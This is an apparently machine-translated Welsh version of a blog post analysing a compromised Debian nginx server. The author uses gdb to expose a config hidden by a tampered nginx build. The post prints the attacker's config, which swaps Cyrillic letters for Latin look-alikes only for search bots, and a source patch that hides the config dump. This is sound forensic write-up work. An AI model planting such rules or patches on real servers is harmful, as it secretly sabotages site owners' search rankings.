Pan nad yw 'a' yn hafal i 'a'. Yn sgil hac

Digwyddodd stori annifyr iawn i un o fy ffrindiau. Ond mor annymunol ag y trodd i fod i Mikhail, roedd yr un mor ddifyr i mi.

Rhaid i mi ddweud bod fy ffrind yn eithaf UNIX-user: yn gallu gosod y system ei hun mysql, php a gwneud gosodiadau syml nginx.
Ac mae ganddo ddwsin neu un a hanner o wefannau sy'n ymroddedig i offer adeiladu.

Mae un o'r gwefannau hyn sy'n ymroddedig i lifiau cadwyn yn eistedd yn gadarn yn y TOP o beiriannau chwilio. Mae'r wefan hon yn adolygydd anfasnachol, ond daeth rhywun i'r arfer o ymosod arni. Hynny DDoS, yna 'n ysgrublaidd, yna maent yn ysgrifennu sylwadau anweddus ac yn anfon camddefnydd i'r gwesteiwr ac i'r RKN.
Yn sydyn, tawelodd popeth ac nid oedd y tawelwch hwn yn dda, a dechreuodd y wefan adael llinellau uchaf y canlyniadau chwilio yn raddol.

Pan nad yw 'a' yn hafal i 'a'. Yn sgil un hac

Dyna ddywediad, yna stori'r gweinyddwr ei hun.

Roedd yn agosáu at amser gwely pan ganodd y ffôn: “San, oni fyddwch chi'n edrych ar fy ngwasanaethwr? Mae'n ymddangos i mi fy mod wedi fy hacio, ni allaf brofi hynny, ond nid yw'r teimlad wedi fy ngadael am y drydedd wythnos. Efallai ei bod hi’n amser i mi gael triniaeth ar gyfer paranoia?”

Yr hyn a ddilynodd oedd trafodaeth hanner awr y gellir ei chrynhoi fel a ganlyn:

  • roedd y pridd ar gyfer hacio yn eithaf ffrwythlon;
  • gallai ymosodwr ennill hawliau superuser;
  • bod yr ymosodiad (os oedd yn digwydd) wedi'i dargedu'n benodol at y safle hwn;
  • mae meysydd problemus wedi'u cywiro a'r cyfan sydd angen i chi ei wneud yw deall a oedd unrhyw dreiddiad;
  • ni allai'r darnia effeithio ar god y safle a chronfeydd data.

Ynglŷn â'r pwynt olaf.

Pan nad yw 'a' yn hafal i 'a'. Yn sgil un hac

Dim ond yr IP blaen gwyn sy'n edrych allan i'r byd. Nid oes cyfnewid rhwng y backends a'r blaen ac eithrio http(s), mae'r defnyddwyr/cyfrineiriau yn wahanol, ni chyfnewidiwyd unrhyw allweddi. Ar gyfeiriadau llwyd, mae pob porthladd ac eithrio 80/443 ar gau. Dim ond dau ddefnyddiwr y mae IPs backend gwyn yn hysbys, y mae Mikhail yn ymddiried yn llwyr ynddynt.

Wedi'i osod ar y blaen Debian 9 ac erbyn i'r alwad gael ei gwneud, mae'r system yn cael ei hynysu oddi wrth y byd gan wal dân allanol a'i stopio.

“Iawn, rhowch fynediad i mi,” penderfynaf roi'r gorau i gwsg am awr. “Byddaf yn gweld â fy llygaid fy hun.”

Yma ac ymhellach:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Chwilio am darnia posib

Dechreuaf y gweinydd, yn gyntaf i mewn achub-modd. Rwy'n gosod y disgiau ac yn troi trwyddynt awdur-boncyffion, Hanes, logiau system, ac ati, os yn bosibl, rwy'n gwirio dyddiadau creu ffeiliau, er fy mod yn deall y byddai cracer arferol wedi “ysgubo i fyny” ar ei ôl ei hun, ac roedd Misha eisoes wedi “sathru” llawer tra roedd yn chwilio amdano'i hun .

Rwy'n dechrau yn y modd arferol, heb ddeall eto beth i edrych amdano, rwy'n astudio'r cyfluniadau. Yn gyntaf oll, mae gen i ddiddordeb mewn nginx oherwydd, yn gyffredinol, nid oes dim arall ar y blaen ond iddo.
Mae'r cyfluniadau yn fach, wedi'u strwythuro'n dda yn ddwsin o ffeiliau, dwi'n edrych trwyddynt cath'o un i un. Mae'n ymddangos bod popeth yn lân, ond dydych chi byth yn gwybod a wnes i golli rhywbeth gynnwys, gadewch i mi wneud rhestr lawn:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Doeddwn i ddim yn deall: “Ble mae'r rhestriad?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Ychwanegir ail gwestiwn at y cwestiwn rhestru: “Pam fersiwn mor hynafol o nginx?”

Yn ogystal, mae'r system yn credu bod y fersiwn ddiweddaraf wedi'i gosod:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Rwy'n galw:
- Misha, pam wnaethoch chi ailgynnull nginx?
- Deffro, dwi ddim hyd yn oed yn gwybod sut i wneud hyn!
- Iawn, wel, ewch i gysgu ...

Nginx mae'n amlwg ei fod wedi'i ailadeiladu ac mae allbwn y rhestriad gan ddefnyddio "-T" wedi'i guddio am reswm. Nid oes unrhyw amheuon bellach ynghylch hacio a gallwch ei dderbyn ac (ers i Misha ddisodli'r gweinydd ag un newydd beth bynnag) ystyriwch ddatrys y broblem.

Ac yn wir, ers i rywun gael yr hawliau gwraidd‘O, yna dim ond gwneud synnwyr mae’n ei wneud ailosod system, a diwerth oedd edrych am yr hyn oedd o'i le yno, ond y tro hwn bu chwilfrydedd yn trechu cwsg. Sut gallwn ni ddarganfod beth roedden nhw eisiau ei guddio oddi wrthym?

Gadewch i ni geisio olrhain:

$ strace nginx -T

Edrychwn arno, mae'n amlwg nad oes digon o linellau yn y trace a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Er mwyn cael hwyl, gadewch i ni gymharu'r canfyddiadau.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Rwy'n meddwl yn rhan o'r cod /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ei ddwyn i'r ffurflen:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

neu

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

felly nid yw'r rhestriad gan "-T" yn cael ei arddangos.

Ond sut allwn ni weld ein cyfluniad?

Os yw fy meddwl yn gywir a dim ond yn y newidyn y mae'r broblem ngx_dump_config gadewch i ni geisio ei osod gan ddefnyddio gdb, yn ffodus mae yna allwedd --gyda-cc-opt -g presennol a gobeithio y optimization -O2 ni fydd yn brifo ni. Ar yr un pryd, gan nad wyf yn gwybod sut ngx_dump_config gellid ei brosesu i mewn achos 'T':, ni fyddwn yn galw'r bloc hwn, ond yn ei osod gan ddefnyddio achos 't':

Pam y gallwch chi ddefnyddio '-t' yn ogystal â '-T'Prosesu Bloc os(ngx_dump_config) yn digwydd y tu mewn os(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Wrth gwrs, os yw'r cod yn cael ei newid yn y rhan hon ac nid yn achos 'T':, yna ni fydd fy dull yn gweithio.

Prawf nginx.confAr ôl datrys y broblem yn arbrofol eisoes, sefydlwyd bod angen cyfluniad lleiaf er mwyn i'r malware weithio nginx math:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Byddwn yn ei ddefnyddio i fod yn gryno yn yr erthygl.

Lansio'r dadfygiwr

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Y camau:

  • gosod torbwynt yn y swyddogaeth prif ()
  • lansio'r rhaglen
  • newid gwerth y newidyn sy'n pennu allbwn y ffurfwedd ngx_dump_config=1
  • parhau/diweddu'r rhaglen

Fel y gallwn weld, mae'r cyfluniad go iawn yn wahanol i'n un ni, rydym yn dewis darn parasitig ohono:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Gadewch i ni edrych ar yr hyn sy'n digwydd yma mewn trefn.

Yn benderfynol Asiant Defnyddiwr'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Mae tudalennau gwasanaeth wedi'u heithrio wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ac i'r rhai sy'n dod o dan y ddau amod uchod

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

yn y testun html- tudalennau yn newid 'O' ar 'o' и 'A' ar 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Mae hynny'n iawn, yr unig gynildeb yw hynny 'a'!= 'a' yn ogystal â 'o'!= 'o':

Pan nad yw 'a' yn hafal i 'a'. Yn sgil un hac

Felly, mae bots peiriannau chwilio yn derbyn, yn lle testun Cyrilig 100% arferol, garbage wedi'i addasu wedi'i wanhau â Lladin 'a' и 'o'. Nid wyf yn meiddio trafod sut mae hyn yn effeithio ar SEO, ond mae'n annhebygol y bydd cymysgedd o lythyrau o'r fath yn cael effaith gadarnhaol ar safleoedd yn y canlyniadau chwilio.

Beth alla i ddweud, bois â dychymyg.

cyfeiriadau

Dadfygio gyda GDB
gdb(1) - tudalen dyn Linux
strace(1) - tudalen dyn Linux
Nginx - Modiwl ngx_http_sub_module
Ynglŷn â llifiau, llifiau cadwyn a llifiau trydan

Ffynhonnell: hab.com

Ychwanegu sylw